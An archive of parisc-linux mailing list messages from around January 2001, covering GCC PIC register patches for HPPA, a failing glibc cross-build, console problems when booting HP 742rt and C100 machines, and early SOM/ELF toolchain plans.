X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Wed, 17 Jan 2001 18:24:49 +1100 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101171802240.9957-100000@front.linuxcare.com.au>
References: <22207.979709436@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619547 10547 80.91.229.3 (22 Nov 2014 01:25:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:47 +0000 (UTC)
Cc: Richard Henderson <rth@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: Jeffrey A Law <law@redhat.com>
Original-X-From: alan@linuxcare.com.au  Wed Jan 17 00:21:36 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA18159
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 00:21:34 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA10796;
	Wed, 17 Jan 2001 18:24:49 +1100
In-Reply-To: <22207.979709436@upchuck.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9248

On Tue, 16 Jan 2001, Jeffrey A Law wrote:

>  In message <Pine.LNX.4.21.0101161848180.4272-100000@front.linuxcare.com.au>yo
> u write:
>   > +  if (flag_pic
>   > +      && (GET_CODE (PIC_OFFSET_TABLE_SAVE_RTX) != REG
>   > +	  || HARD_REGISTER_P (PIC_OFFSET_TABLE_SAVE_RTX)))
>   > +    emit_move_insn (PIC_OFFSET_TABLE_SAVE_RTX,
>   >  		    gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM));
> I do have a question about this particular hunk of code.
> 
> I can't think of a condition where PIC_OFFSET_TABLE_SAVE_RTX would not be
> a reg when this code was executed.  Simlarly I can't think of a case where
> it would be a hard reg.

What I was trying to do here is test whether the pseudo has been allocated
a register, or the case where register pressure causes it to spill to a
stack slot.  I must admit coding something based on inspecting rtl here
under gdb, ie. without a real understanding of what I was doing :-(
There seemed to be three cases:
  - register isn't used so appears as a pseudo
  - register is allocated a hard reg
  - register is allocated a stack slot

> I think we should just emit the insn unconditionally unless you're aware
> of some reason we can't shouldn't.

That causes an error when no dlt save register is needed - prologue
instruction would be deleted.

> We're probably also going to need to emit a use of the %r19 and maybe %r27
> on the return insns to ensure the pic register is restored after the
> final call in any given function.

I've a "use" in the epilogue in my tree.  Hadn't posted that patch as I
wasn't sure it's correct in the face of tail calls.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] booting 742
Date: Wed, 17 Jan 2001 13:25:24 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <026e01c08080$91102ee0$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619548 10549 80.91.229.3 (22 Nov 2014 01:25:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:48 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: t.simonnet@esiee.fr  Wed Jan 17 05:28:44 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA22037
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 05:28:43 -0700
Original-Received: (qmail 19002 invoked by uid 15267); 17 Jan 2001 12:32:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18989 invoked from network); 17 Jan 2001 12:32:26 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 12:32:26 -0000
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP id 9E0FDD159F
	for <parisc-linux@thepuffingroup.com>; Wed, 17 Jan 2001 13:32:25 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:9249

Hi!

ESIEE have some 742rt (VME Bus)
We try to boot one on an external disk. It works but we don't have any
console.
Have an idea for these oldies.

Thanks

Thierry Simonnet
ESIEE Team
http://www.esiee.fr/puffin



From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc build failing
Date: Wed, 17 Jan 2001 13:15:41 +0000
Lines: 69
Approved: news@gmane.org
Message-ID: <20010117131541.L28638@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619548 10552 80.91.229.3 (22 Nov 2014 01:25:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Wed Jan 17 06:21:14 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA22647
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 06:21:14 -0700
Original-Received: (qmail 9930 invoked by uid 15267); 17 Jan 2001 13:24:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9923 invoked from network); 17 Jan 2001 13:24:47 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 13:24:47 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 16C51B005; Wed, 17 Jan 2001 13:15:41 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:9250

Guess this is for Alan and Matt really...

I am trying to build glibc using todays cvs main branch.  Building on
x86 for parisc.  This is what I do:

  TOP=/mnt/parisc/xc
  MACH=i386-linux
  DEST=$TOP/parisc
  PATH=$TOP/parisc/bin:/bin:/usr/bin
  cd $TOP
  rm -rf parisc
  mkdir parisc
  cd $TOP
  rm -rf build 
  mkdir build
  cd $TOP/build && rm -rf binutils && mkdir binutils && cd binutils
  $TOP/source/binutils/configure --host=$MACH --prefix=$DEST \
          --target=hppa-linux --enable-targets=hppa64-linux \
          --disable-nls
  make
  make install
  cd $TOP/build && rm -rf gcc && mkdir gcc && cd gcc
  $TOP/source/gcc/configure --host=$MACH --prefix=$DEST \
          --target=hppa-linux --enable-shared \
          --disable-nls
  rm -r zlib hppa-linux
  make LANGUAGES=c
  make LANGUAGES=c install
  cd $TOP/source/linux
  make oldconfig
  make dep
  cd $TOP/build && rm -rf glibc && mkdir glibc && cd glibc
  $TOP/source/glibc/configure --host=hppa-linux --build=$MACH \
          --prefix=$DEST/hppa-linux --with-headers=$TOP/source/linux/include \
          --disable-profile --without-cvs --enable-add-ons
  make


And this is what happens...

make[2]: Entering directory `/mnt/parisc/xc/source/glibc/grp'
make[2]: Nothing to be done for `subdir_lib'.
make[2]: Leaving directory `/mnt/parisc/xc/source/glibc/grp'
make  -C pwd subdir_lib
make[2]: Entering directory `/mnt/parisc/xc/source/glibc/pwd'
make[2]: Nothing to be done for `subdir_lib'.
make[2]: Leaving directory `/mnt/parisc/xc/source/glibc/pwd'
make  -C posix subdir_lib
make[2]: Entering directory `/mnt/parisc/xc/source/glibc/posix'
hppa-linux-gcc ../sysdeps/generic/glob.c -c -O2 -Wall -Winline -Wstrict-prototypes -Wwrite-strings -g      -I../include -I. -I/mnt/parisc/xc/build
/glibc/posix -I.. -I../libio  -I/mnt/parisc/xc/build/glibc -I../sysdeps/hppa/elf -I../linuxthreads/sysdeps/unix/sysv/linux/hppa -I../linuxthreads/sysdeps/unix/sysv/linux -I../linuxthreads/sysdeps/pthread -I../linuxthreads/sysdeps/unix/sysv -I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa -I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux -I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman -I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix -I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa -I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic  -nostdinc -isystem /mnt/parisc/xc/parisc/l
 ib/gcc-lib/hppa-linux/2.96/include -isystem /mnt/parisc/xc/source/linux/include -D_LIBC_REENTRANT -include ../include/libc-symbols.h     -o /mnt/parisc/xc/build/glibc/posix/glob.o
../sysdeps/generic/glob.c: In function `glob_in_dir':
../sysdeps/generic/glob.c:1446: Internal compiler error in eliminate_regs, at reload1.c:2505
   Please submit a full bug report.
   See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[2]: *** [/mnt/parisc/xc/build/glibc/posix/glob.o] Error 1
make[2]: Leaving directory `/mnt/parisc/xc/source/glibc/posix'
make[1]: *** [posix/subdir_lib] Error 2
make[1]: Leaving directory `/mnt/parisc/xc/source/glibc'
make: *** [install] Error 2



The change that seems to have triggered this is in glibc/Makeconfig, 
to build with -O2 rather that -O

Richard


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I'm having a couple problems
Date: Wed, 17 Jan 2001 08:59:23 -0600 (CST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101170856270.2959-100000@maestro.symsys.com>
References: <3A64D1BC3C8.29B5JCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619548 10555 80.91.229.3 (22 Nov 2014 01:25:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Josiah Carlson <jcarlson@macalester.edu>
Original-X-From: ingram@symsys.com  Wed Jan 17 07:55:47 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA23501
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 07:55:47 -0700
Original-Received: (qmail 11373 invoked by uid 15267); 17 Jan 2001 14:59:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11362 invoked from network); 17 Jan 2001 14:59:30 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 14:59:30 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id IAA02970;
	Wed, 17 Jan 2001 08:59:23 -0600
In-Reply-To: <3A64D1BC3C8.29B5JCARLSON@smtp.macalester.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:9251


Josiah,

On Tue, 16 Jan 2001, Josiah Carlson wrote:

> How do I get _actual_ r/w access to the volume that the system boots
> >from?

I had a little trouble here too.  I'm currently working around it by
appending 'rw' to the kernel command line in palo.  This option tells the
kernel to mount the root filesystem as read-write.  It's not the best
solution, but it works for now.
 
- Greg


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Wed, 17 Jan 2001 09:09:11 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <23954.979747751@upchuck.cygnus.com>
References: <Pine.LNX.4.21.0101171802240.9957-100000@front.linuxcare.com.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619549 10558 80.91.229.3 (22 Nov 2014 01:25:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:49 +0000 (UTC)
Cc: Richard Henderson <rth@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Wed Jan 17 09:03:26 2001
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA24146
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 09:03:25 -0700
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id IAA10996
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 08:07:07 -0800 (PST)
Original-Received: from upchuck.cygnus.com (law@localhost)
	by upchuck.cygnus.com (8.11.0/8.8.7) with ESMTP id f0HG9CA23955;
	Wed, 17 Jan 2001 09:09:12 -0700
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-reply-to: Your message of Wed, 17 Jan 2001 18:24:49 +1100.
             <Pine.LNX.4.21.0101171802240.9957-100000@front.linuxcare.com.au> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9252



  In message <Pine.LNX.4.21.0101171802240.9957-100000@front.linuxcare.com.au>yo
u write:
  > What I was trying to do here is test whether the pseudo has been allocated
  > a register, or the case where register pressure causes it to spill to a
  > stack slot.
But the code in question is executed during insn expansion time -- long long
before we know anything about whether or not a particular pseudo register
will be allocated to a hard register or stack slot.

  > There seemed to be three cases:
  >   - register isn't used so appears as a pseudo
  >   - register is allocated a hard reg
  >   - register is allocated a stack slot
But I can't see how the final two cases could happen at that stage in
compilation.  If you actually saw these under the debugger, I'd like you to
investigate them further since I don't believe they can/should happen.
[ Note that I'm not convinced the old check to avoid the restore was
  correct either. ]

  > > I think we should just emit the insn unconditionally unless you're aware
  > > of some reason we can't shouldn't.
  > 
  > That causes an error when no dlt save register is needed - prologue
  > instruction would be deleted.
If we emit a call, then we must reload the PIC register.  There's no iffs
ands or butts about it.  If that's causing aborts/warnings, then we've likely
got a bug _elsewhere_.  It's entirely possible that getting the use on the
return insn will fix that problem.

  > > We're probably also going to need to emit a use of the %r19 and maybe %r2
  > 7
  > > on the return insns to ensure the pic register is restored after the
  > > final call in any given function.
  > 
  > I've a "use" in the epilogue in my tree.  Hadn't posted that patch as I
  > wasn't sure it's correct in the face of tail calls.
We can't perform tail calls when we're generating PIC code right now
(right now PIC == code suitable for shared library on the PA).  Consider
linkage issues.

What makes this interesting is that we don't need/want the use on the trivial
return, but we do want it on the return_internal pattern.  Furthermore, the
register we want to use varies depending on PA32 vs PA64 ABIs.

I've got a patch which handles that stuff in my local tree that I'm testing
right now.
jeff


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Wed, 17 Jan 2001 11:22:36 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200101171622.LAA13215@hiauly1.hia.nrc.ca>
References: <23954.979747751@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619549 10561 80.91.229.3 (22 Nov 2014 01:25:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:49 +0000 (UTC)
Cc: alan@linuxcare.com.au, rth@redhat.com, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: law@redhat.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jan 17 09:19:05 2001
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA24521
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 09:19:04 -0700
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA13215;
	Wed, 17 Jan 2001 11:22:37 -0500 (EST)
In-Reply-To: <23954.979747751@upchuck.cygnus.com> from "Jeffrey A Law" at Jan 17, 2001 09:09:11 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9253

>   In message <Pine.LNX.4.21.0101171802240.9957-100000@front.linuxcare.com.au>yo
> u write:
>   > What I was trying to do here is test whether the pseudo has been allocated
>   > a register, or the case where register pressure causes it to spill to a
>   > stack slot.
> But the code in question is executed during insn expansion time -- long long
> before we know anything about whether or not a particular pseudo register
> will be allocated to a hard register or stack slot.
> 
>   > There seemed to be three cases:
>   >   - register isn't used so appears as a pseudo
>   >   - register is allocated a hard reg
>   >   - register is allocated a stack slot
> But I can't see how the final two cases could happen at that stage in
> compilation.  If you actually saw these under the debugger, I'd like you to
> investigate them further since I don't believe they can/should happen.

I think all these problems can be resolved by emitting the insn at the
first call.  We just have to keep track of whether it has been emitted
or not.

Then, the optimiser can eliminate it if it decides it is better
to reload the pic offset table register from the stack.  We don't have
to worry about where it is allocated, adding notes, etc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting 742
Date: Wed, 17 Jan 2001 09:09:24 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <200101171709.JAA12768@milano.cup.hp.com>
References: <026e01c08080$91102ee0$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619549 10562 80.91.229.3 (22 Nov 2014 01:25:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, frowand@montevista.com
To: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Original-X-From: grundler@cup.hp.com  Wed Jan 17 10:13:09 2001
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA25282
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 10:13:08 -0700
Original-Received: (qmail 19576 invoked by uid 15267); 17 Jan 2001 17:15:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5416 invoked from network); 17 Jan 2001 17:07:45 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 17:07:45 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id D35E3A09; Wed, 17 Jan 2001 09:07:33 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA12768;
	Wed, 17 Jan 2001 09:09:25 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 17 Jan 2001 13:25:24 PST."
             <026e01c08080$91102ee0$0a14d793@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:9254

"Thierry SIMONNET" wrote:
> ESIEE have some 742rt (VME Bus)
> We try to boot one on an external disk. It works but we don't have any
> console. Have an idea for these oldies.

Only vaguely - A seperate group in HP supports/developes the "industrial"
workstations since they run RTE (not HPUX) on them. AFAIK, many of those
boxes are similar to B-class workstations w/PXC-L or -L2. I have no clue
how the VME bus is supported - ie bus interface chip or such.

Frank (Rowand): do you have pointers for more info on these boxes?

later,
grant

> Thanks
> 
> Thierry Simonnet
> ESIEE Team
> http://www.esiee.fr/puffin


Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The plan for SOM, ELF32 and ELF64.
Date: Mon, 31 May 1999 23:16:34 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990531230648.8814C-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619550 10563 80.91.229.3 (22 Nov 2014 01:25:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Mon May 31 21:16:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA07177
	for <parisc-linux@puffin.external.hp.com>; Mon, 31 May 1999 21:16:44 -0600
Original-Received: (qmail 28538 invoked by uid 15267); 1 Jun 1999 03:16:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28521 invoked from network); 1 Jun 1999 03:16:03 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 03:16:03 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id XAA17073
	for <parisc-linux@thepuffingroup.com>; Mon, 31 May 1999 23:16:36 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:9255


At LinuxExpo a week and a half ago, the parisc developers that were there
got together and resolved some of the SOM/ELF32 issues.  I'm going to
document them here for everyone who couldn't be in North Carolina that
week.

The bad news is that we have a challenge no matter what we do.  The
problems are that:

- we don't have a version of ld for SOM in binutils, which means we can't
  really cross compile properly

- we don't have any ELF32 or ELF64 to work from to start with.

The route we've planned to take is:

- focus on SOM only for kernel and userland, but not the linker.  When we
need to link SOM userland, we'll have to do it on HPUX.

- at some point Cygnus will deliver on their HP sponsored gcc support for
PARISC 2.0, which should have some ELF64 code we can borrow. It's
understood that the ELF32 and 64 specs have a lot in common.

No reasonable distribution will be SOM based, so we're going to have to
get ELF done before we get to that point.

Let me know if I'm mistaken on any of this.

- Alex


-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:15:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aleksandr Konstantinov <sanjak@tipas.lt>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Wed, 17 Jan 2001 05:40:57 +0100
Organization: T.I.P.A.S.
Lines: 20
Approved: news@gmane.org
Message-ID: <3A652259.9359CA7C@tipas.lt>
References: <3A636BE1.EE2DBF87@tipas.lt> <20010115221749.A28689@parcelfarce.linux.theplanet.co.uk> <3A64530D.CD78EFD2@tipas.lt> <01011618464403.01122@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619550 10565 80.91.229.3 (22 Nov 2014 01:25:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Helge Deller <deller@gmx.de>
Original-X-From: sanjak@tipas.lt  Wed Jan 17 10:35:20 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA25758
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 10:35:19 -0700
Original-Received: (qmail 3679 invoked by uid 15267); 17 Jan 2001 17:39:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3574 invoked from network); 17 Jan 2001 17:39:00 -0000
Original-Received: from server.tipas.lt (193.219.1.212)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 17:39:00 -0000
Original-Received: from tipas.lt (i195.sintegra.lt [193.219.1.195]) by server.tipas.lt (8.6.11/cyxob-1.7) with ESMTP id TAA23588; Wed, 17 Jan 2001 19:36:08 -2200
X-Mailer: Mozilla 4.04 [en] (Win95; I)
Xref: news.gmane.org gmane.linux.ports.parisc:9256

> > Do You mean CONFIG_STI_CONSOLE ? I have it, and CONFIG_SERIAL_CONSOLE
> > too.
> > Palo also sets console=tty0 .  Booting goes till "Switching from PDC
> > console"
> > and then welcome message from palinux cdrom appears on serial link.
>
> Try to enable just one of both: CONFIG_STI_CONSOLE _or_ CONFIG_SERIAL_CONSOLE

 I tried it and got following behavior:

  While kernel starts/initializes screen stays black. When it suddenly fills with
scattered characters (I could
read few words on screen: TCP, UDP RARP, Init and even something, that looks like
Welcome).



A.K.



From - Thu Nov 08 21:15:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C100 Bus Errors
Date: Wed, 17 Jan 2001 13:18:44 -0600 (CST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101171314300.3619-100000@maestro.symsys.com>
References: <3A64530D.CD78EFD2@tipas.lt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619550 10569 80.91.229.3 (22 Nov 2014 01:25:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ingram@symsys.com  Wed Jan 17 12:15:02 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA26631
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 12:15:01 -0700
Original-Received: (qmail 20103 invoked by uid 15267); 17 Jan 2001 19:18:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20075 invoked from network); 17 Jan 2001 19:18:44 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 19:18:44 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id NAA03642
	for <parisc-linux@thepuffingroup.com>; Wed, 17 Jan 2001 13:18:44 -0600
